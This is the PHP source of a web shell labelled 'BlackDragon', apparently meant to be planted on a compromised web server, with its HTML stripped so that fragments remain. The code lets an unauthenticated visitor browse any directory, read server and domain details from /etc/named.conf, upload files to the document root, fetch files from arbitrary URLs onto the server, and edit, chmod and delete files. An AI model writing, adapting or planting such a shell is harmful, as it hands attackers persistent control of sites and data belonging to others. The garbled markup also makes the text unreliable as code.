".$perms."" : "".$perms."";
}
function perms($path) {
$perms = fileperms($path);
if (($perms & 0xC000) == 0xC000) {
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
$info = 'p';
} else {
$info = 'u';
}
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fsize($file) {
$a = ["B", "KB", "MB", "GB", "TB", "PB"];
$pos = 0;
$size = filesize($file);
while ($size >= 1024) {
$size /= 1024;
$pos++;
}
return round($size, 2)." ".$a[$pos];
}
if (isset($_GET['dir'])) {
$path = $_GET['dir'];
chdir($_GET['dir']);
} else {
$path = getcwd();
}
$path = str_replace('\\', '/', $path);
$exdir = explode('/', $path);
function getOwner($item) {
if (function_exists("posix_getpwuid")) {
$downer = @posix_getpwuid(fileowner($item));
$downer = $downer['name'];
} else {
$downer = fileowner($item);
}
if (function_exists("posix_getgrgid")) {
$dgrp = @posix_getgrgid(filegroup($item));
$dgrp = $dgrp['name'];
} else {
$dgrp = filegroup($item);
}
return $downer . '/' . $dgrp;
}
if (isset($_POST['newFolderName'])) {
if (mkdir($path . '/' . $_POST['newFolderName'])) {
flash("Create Folder Successfully!", "Success", "success", "?dir=$path");
} else {
flash("Create Folder Failed", "Failed", "error", "?dir=$path");
}
}
if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) {
if (file_put_contents($_POST['newFileName'], $_POST['newFileContent'])) {
flash("Create File Successfully!", "Success", "success", "?dir=$path");
} else {
flash("Create File Failed", "Failed", "error", "?dir=$path");
}
}
if (isset($_POST['newName']) && isset($_GET['item'])) {
if ($_POST['newName'] == '') {
flash("You miss an important value", "Ooopss..", "warning", "?dir=$path");
}
if (rename($path. '/'. $_GET['item'], $_POST['newName'])) {
flash("Rename Successfully!", "Success", "success", "?dir=$path");
} else {
flash("Rename Failed", "Failed", "error", "?dir=$path");
}
}
if (isset($_POST['newContent']) && isset($_GET['item'])) {
if (file_put_contents($path. '/'. $_GET['item'], $_POST['newContent'])) {
flash("Edit Successfully!", "Success", "success", "?dir=$path");
} else {
flash("Edit Failed", "Failed", "error", "?dir=$path");
}
}
if (isset($_POST['newPerm']) && isset($_GET['item'])) {
if ($_POST['newPerm'] == '') {
flash("You miss an important value", "Ooopss..", "warning", "?dir=$path");
}
if (chmod($path. '/'. $_GET['item'], $_POST['newPerm'])) {
flash("Change Permission Successfully!", "Success", "success", "?dir=$path");
} else {
flash("Change Permission", "Failed", "error", "?dir=$path");
}
}
if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['item'])) {
if (is_dir($_GET['item'])) {
if (rmdir($_GET['item'])) {
flash("Delete Successfully!", "Success", "success", "?dir=$path");
} else {
flash("Delete Failed", "Failed", "error", "?dir=$path");
}
} else {
if (unlink($_GET['item'])) {
flash("Delete Successfully!", "Success", "success", "?dir=$path");
} else {
flash("Delete Failed", "Failed", "error", "?dir=$path");
}
}
}
if ($_POST['submit']) {
if ($_POST['upl'] == 'current') {
$total = count($_FILES['uploadfile']['name']);
for ($i = 0; $i < $total; $i++) {
$mainupload = move_uploaded_file($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]);
}
if ($total < 2) {
if ($mainupload) {
flash("Upload File Successfully! ", "Success", "success", "?dir=$path");
} else {
flash("Upload Failed", "Failed", "error", "?dir=$path");
}
} else {
if ($mainupload) {
flash("Upload $i Files Successfully! ", "Success", "success", "?dir=$path");
} else {
flash("Upload Failed", "Failed", "error", "?dir=$path");
}
}
} elseif ($_POST['upl'] == 'root') {
$total = count($_FILES['uploadfile']['name']);
for ($i = 0; $i < $total; $i++) {
$mainupload = move_uploaded_file($_FILES['uploadfile']['tmp_name'][$i], $_SERVER['DOCUMENT_ROOT']."/".$_FILES['uploadfile']['name'][$i]);
}
if ($total < 2) {
if ($mainupload) {
flash("Upload File Successfully! ", "Success", "success", "?dir=$path");
} else {
flash("Upload Failed", "Failed", "error", "?dir=$path");
}
} else {
if ($mainupload) {
flash("Upload $i Files Successfully! ", "Success", "success", "?dir=$path");
} else {
flash("Upload Failed", "Failed", "error", "?dir=$path");
}
}
}
}
// Upload from URL
if (isset($_POST['url']) && isset($_POST['filename']) && isset($_POST['method'])) {
$url = $_POST['url'];
$filename = $_POST['filename'];
$destination = $path . '/' . $filename;
switch ($_POST['method']) {
case 'file_get_contents':
$data = file_get_contents($url);
if ($data !== false) {
file_put_contents($destination, $data);
flash("File uploaded successfully using file_get_contents!", "Success", "success", "?dir=$path");
} else {
flash("Failed to upload file using file_get_contents", "Failed", "error", "?dir=$path");
}
break;
case 'curl':
$ch = curl_init($url);
$fp = fopen($destination, 'wb');
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
if (curl_errno($ch)) {
flash("Failed to upload file using cURL: " . curl_error($ch), "Failed", "error", "?dir=$path");
} else {
flash("File uploaded successfully using cURL!", "Success", "success", "?dir=$path");
}
curl_close($ch);
fclose($fp);
break;
case 'fopen':
$stream = fopen($url, 'rb');
if ($stream) {
$contents = stream_get_contents($stream);
fclose($stream);
file_put_contents($destination, $contents);
flash("File uploaded successfully using fopen!", "Success", "success", "?dir=$path");
} else {
flash("Failed to upload file using fopen", "Failed", "error", "?dir=$path");
}
break;
case 'copy':
if (copy($url, $destination)) {
flash("File uploaded successfully using copy!", "Success", "success", "?dir=$path");
} else {
flash("Failed to upload file using copy", "Failed", "error", "?dir=$path");
}
break;
case 'stream_context':
$context = stream_context_create(['http' => ['method' => 'GET']]);
$data = file_get_contents($url, false, $context);
if ($data !== false) {
file_put_contents($destination, $data);
flash("File uploaded successfully using stream_context!", "Success", "success", "?dir=$path");
} else {
flash("Failed to upload file using stream_context", "Failed", "error", "?dir=$path");
}
break;
}
}
$dirs = scandir($path);
$d0mains = @file("/etc/named.conf", false);
if (!$d0mains){
$dom = "Cant read /etc/named.conf";
$GLOBALS["need_to_update_header"] = "true";
} else {
$count = 0;
foreach ($d0mains as $d0main){
if (@strstr($d0main, "zone")){
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if (strlen(trim($domains[1][0])) > 2){
flush();
$count++;
}
}
}
$dom = "$count Domain";
}
$ip = !@$_SERVER['SERVER_ADDR'] ? gethostbyname($_SERVER['SERVER_NAME']) : @$_SERVER['SERVER_ADDR'];
$serv = $_SERVER['HTTP_HOST'];
$soft = $_SERVER['SERVER_SOFTWARE'];
$uname = php_uname();
?>
= $serv; ?> - BlackDragon
= $uname; ?>
= $soft; ?>
= $ip; ?>
= $dom; ?>
Name |
Type |
Size |
Owner/Group |
Permission |
Last Modified |
Actions |
= $dir ?>
= $dir ?>
= $dir ?>
|
= filetype($dir) ?> |
- |
= getOwner($dir) ?> |
';
elseif(!is_readable($path.'/'.$dir)) echo '';
echo perms($path.'/'.$dir);
if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir))
?>
|
= date("Y-m-d h:i:s", filemtime($dir)); ?> |
|
= $dir ?>
|
= (function_exists('mime_content_type') ? mime_content_type($dir) : filetype($dir)) ?> |
= fsize($dir) ?> |
= getOwner($dir) ?> |
';
elseif(!is_readable($path.'/'.$dir)) echo '';
echo perms($path.'/'.$dir);
if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir))
?>
|
= date("Y-m-d h:i:s", filemtime($dir)); ?> |
|
© BlackDragon